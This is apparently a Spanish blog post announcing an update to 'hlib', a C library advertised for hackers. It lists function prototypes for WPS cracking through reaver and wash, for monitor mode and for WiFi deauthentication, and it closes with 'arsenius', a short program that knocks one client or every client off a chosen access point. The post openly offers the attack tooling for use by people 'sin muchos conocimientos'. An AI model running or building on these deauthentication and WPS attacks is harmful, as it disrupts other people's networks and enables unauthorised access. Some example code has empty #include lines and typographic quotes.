Muchos saludos a la comunidad de software libre, en esta ocasión les informo que he actualizado la librería hlib para hackers y para acelerar la programación de cuestiones avanzadas desde C/C++. Para usar la librería incluya:
#include <hlib.h> al inicio del programa, compile adjuntando -I/ruta/hlib o bien en caso de que la carpeta esté en la misma ubicación del proyecto solo use el hlib.h entre comillas en vez de los símbolos de menor y mayor.
Hay disponibles nuevas funciones para usar reaver/wash el cual debe estar previamente instalado.
El enlace de descarga es
/*—————————————————————*/
/* — WIFI — */
/* Devuelve el canal equivalente en la tabla de ssids encontrada con hlb_net_wash_scan */
const char *hlb_wash_ssid_to_channel(const char *ssid);
/* Devuelve el bssid equivalente en la tabla de ssids encontrada con hlb_net_wash_scan */
const char *hlb_wash_ssid_to_bssid(const char *ssid);
/* Ejecuta reaver con opciones simples */
int hlb_reaver_run(const char *intmon, const char *bssid, const char *channel);
/* Define primeramente la version a usar antes de usar las funciones wps */
void hlb_hack_set_wps_ver(const char *wpsver);
/* Usa wash para escanear objetivos con wps activado */
void hlb_net_wash_scan(const char *intfmon);
/* Luego de escanear con wash guarda solo ssids. Debe llamar a esta primero antes de obtener los otros. */
/* hlb_wps.count contiene las redes vulnerables encontradas. */
/* hlb_wps.list[indice].ssid contiene el nombre de una de las redes */
void hlb_net_wash_ssid_save(void);
/* Resetea y limpia lo encontrado por wash */
void hlb_net_wash_reset_data(void);
/* Envia paquetes de deautenticacion a un cliente, requiere modo monitor intfmon */
void hlb_net_wifi_send_interference(const char *intfmon, const char *apmac, const char *clientmac);
/* Desautentifica a todos en un AP intfmon debe ser modo monitor. */
void hlb_net_wifi_deauthall(const char *intfmon, const char *macAp);
/* Ver alrededores wifi con solo la interfaz */
void hlb_net_wifi_viewpanorama(const char *intf);
/* Ver alrededores en el aire a punto Ap definido. La interface debe estar en modo monitor. */
void hlb_net_wifi_viewspacefiltered(const char *intf, const char *bssid, const char *channel);
/* Ver alrededores en el aire a punto Ap definido. La interface actual no se sobreescribe. */
void hlb_net_wifi_viewpanoramafilt(const char *intf, const char *bssid, const char *channel);
/* Poner una interface wifi en modo monitor */
void hlb_net_wifi_setmonitor(const char *intf);
/* Ver espacio alrededor de aps y clientes de aps */
void hlb_net_wifi_viewspace(const char *intfmon);
/* Crea una interfaz wifi virtual */
void hlb_net_wifi_create_virtual(const char *intf, const char *namevirtual);
/* Elimina una interfaz wifi */
void hlb_net_wifi_delete_interface(const char *intf);
/* Poner la potencia maxima en el dispositivo wifi */
void hlv_net_wifi_set_powermax(void);
/* Obtiene el nombre del dispositivo que esta conectado */
char *hlb_net_wifi_get_connected_device(void);
/* Obtiene el ssid del dispositivo wifi */
char *hlb_net_wifi_get_ssid(const char *device);
/* Obtiene el txpower del dispositivo wifi */
char *hlb_net_wifi_get_power(const char *device); /* Devuelve managed, AP, etc */
/* Obtiene el modo de trabajo del dispositivo wifi */
char *hlb_net_wifi_get_mode(const char *device); /* Devuelve managed, AP, etc */
/* Obtiene la MAC actual del dispositivo wifi */
char *hlb_net_wifi_get_mac(const char *device);
/* Obtiene el canal de transmision o conexion del dispositivo wifi */
char *hlb_net_wifi_get_channel(const char *device);
/* Devuelve una lista de nombres de dispositivos wifi */
char **hlb_net_wifi_get_devices(void);
/* Devuelve la cantidad de dispositivos wifi de la pc */
int hlb_net_wifi_count_devices(void);
/* Activa modo monitor conveniente */
void hlb_net_activate_monitor(const char *intf);
/* Desactiva modo monitor cy elimina interface virtual hack0 */
void hlb_net_deactivate_monitor();
/*—————————————————————*/
/* — TEXTO — */
/* Mostrar lineas numeradas de las lineas de lin. lines_data[] es un objeto interno
de tipo struct LINE para esto */
void hlb_show_lines_numbered(struct LINE *lin);
/* Reemplaza un caracter de un array de cadena. */
void hlb_replace_chars(char *text, char cr, char nwch);
/* Reemplaza caracteres problematicos de una cadena */
void hlb_filterchars(char *chars);
/*—————————————————————*/
/* — REDES — */
/* Obtiene la MAC de un dispositivo de red */
char *hlb_net_get_mac(const char *intf);
/* Devuelve la pasarela actual */
char *hlb_net_get_gateway(void);
/* Desabilita el proxy de la PC para conectar directamente */
void hlb_disable_proxy(void);
/* Activa una interfaz de red */
void hlb_net_activate_interface(const char *intf);
/*Desactiva una interfaz de red */
void hlb_net_deactivate_interface(const char *intf);
/* Activa dispositivo de red */
void hlb_net_activate_device(const char *device);
/* Desactiva dispositivo de red */
void hlb_net_deactivate_device(const char *device);
/*—————————————————————*/
/* — SUBPROGRAMAS — */
/* Devuelve la salida de un comando max 500000 caract */
char *hlb_subprog_get_out_command(const char *command);
/* Matar procesos que coinciden con un nombre */
void hlb_subprog_pkill(const char *procname);
/*—————————————————————*/
/* — DESCARGAS — */
/* Descarga el código fuente de un sitio web y lo devuelve como un puntero max 1000000 caract. */
char *hlb_get_site_code(const char *uri);
/* Descarga el binario de youtube-dl dada su sitio fuente. */
void download_youtubedl(const char *src);
/*—————————————————————*/
/* — YOUTUBE — */
/* Obtener el código fuente de youtube como lista **lst */
char ** hlb_get_youtube_code();
/* Muestra los videos de youtube numerados. */
void hlb_show_titles(struct LINE *lin);
/* Reproducir un video de youtube con el reproductor definido en PLAYER */
void hlb_viewvid(const char *uri, const char *fmt, const char *title);
/* Obtiene el formato especificado de una url de youtube ej de fmt «360p» */
const char * hlb_getformatcode(const char *uri, const char *fmt);
/*—————————————————————*/
Algunos ejemplos de uso de la librería:
#include <hlib.h>
int main()
{
char sal[]=»hola amigo mio esto es un ejemplo»;
hlb_replace_chars(sal, ‘ ‘, ‘_’);
puts(sal);
strcpy(sal, «micadena %\’\»\n@#$$#%&&^*»);
hlb_filterchars(sal);
puts(sal);
}
#include
#include
#include
int main(int argc, char *argv[])
{
int i = 0;
hlb_net_wifi_get_devices();
for(i = 0; i < net_devices.count; ++i){
puts(«»);
hlb_net_wifi_set_powermax();
printf(«Dispositivo favorito conectado %s \n», hlb_net_wifi_get_connected_device());
printf(«La wifi actual en %s es %s\n», NET_DEVICES[i].name , hlb_net_wifi_get_ssid(NET_DEVICES[i].name));
printf(«Canal actual en %s es %s\n», NET_DEVICES[i].name , hlb_net_wifi_get_channel(NET_DEVICES[i].name));
printf(«Potencia actual en %s es %s\n», NET_DEVICES[i].name , hlb_net_wifi_get_power(NET_DEVICES[i].name));
printf(«MAC de %s es %s\n», NET_DEVICES[i].name , hlb_net_wifi_get_mac(NET_DEVICES[i].name));
printf(«Tipo %s\n», hlb_net_wifi_get_mode(NET_DEVICES[i].name));
puts(«»);
}
return 0;
}
#include
int main(int argc, char *argv[])
{
char *gw = NULL;
char *mac = NULL;
gw = hlb_net_get_gateway();
mac = hlb_net_get_mac(«wlan0»);
puts(gw);
puts(mac);
return 0;
}
Y para finalizar el corto código de arsenius gracias a esta librería:
/*
ESTE PROGRAMA ES ESCRITO POR HAYLEM CANDELARIO BAUZA
SOFTWARE LIBRE GPLV2+.
ESTE PROGRAMA ES USADO PARA DESAUTENTICAR PUNTOS ESPECIFICOS
DE UNA RED WIFI Y PARA ESCANEARLAS SIN MUCHOS CONOCIMIENTOS
*/
#include
#include
#include
#include
#define MAXDEAUTH «10»
int main(int argc, char *argv[])
{
if(argc < 2)
{
puts(«Uso:»);
printf(«%s -s interfacewifi -Ver todo el espacio\n», argv[0]);
printf(«%s -f interfacewifi macAp canalAp -Ver clientes de ap\n», argv[0]);
printf(«%s -a interfaceManaged MacAp MacCliente -Desautenticar cliente\n», argv[0]);
printf(«%s -k interfaceWifi MacAP -Desautenticar a todos\n», argv[0]);
printf(«%s -v -Ver requerimientos\n», argv[0]);
return 0;
}
if(strcmp(argv[1], «-v») == 0)
{
printf(«Este programa requiere aircrack-ng y acceso root\n»);
}
if(strcmp(argv[1], «-k») == 0)
{
hlb_net_wifi_delete_interface(«arsenico»);
hlb_net_wifi_create_virtual(argv[2], «arsenico0»);
hlb_net_activate_interface(«arsenico0»);
hlb_net_wifi_setmonitor(«arsenico0»);
hlb_net_wifi_deauthall(«arsenico0», argv[3]);
hlb_net_wifi_delete_interface(«arsenico0»);
}
if(strcmp(argv[1], «-s») == 0)
{
hlb_net_wifi_viewpanorama(argv[2]);
}
if(strcmp(argv[1], «-f») == 0)
{
hlb_net_wifi_viewpanoramafilt(argv[2], argv[3], argv[4]);
}
if(strcmp(argv[1], «-a») == 0)
{
hlb_net_wifi_delete_interface(«arsenico»);
hlb_net_wifi_create_virtual(argv[2], «arsenico0»);
hlb_net_activate_interface(«arsenico0»);
hlb_net_wifi_setmonitor(«arsenico0»);
hlb_net_wifi_send_interference(«arsenico0», argv[3], argv[4]);
hlb_net_wifi_delete_interface(«arsenico0»);
}
}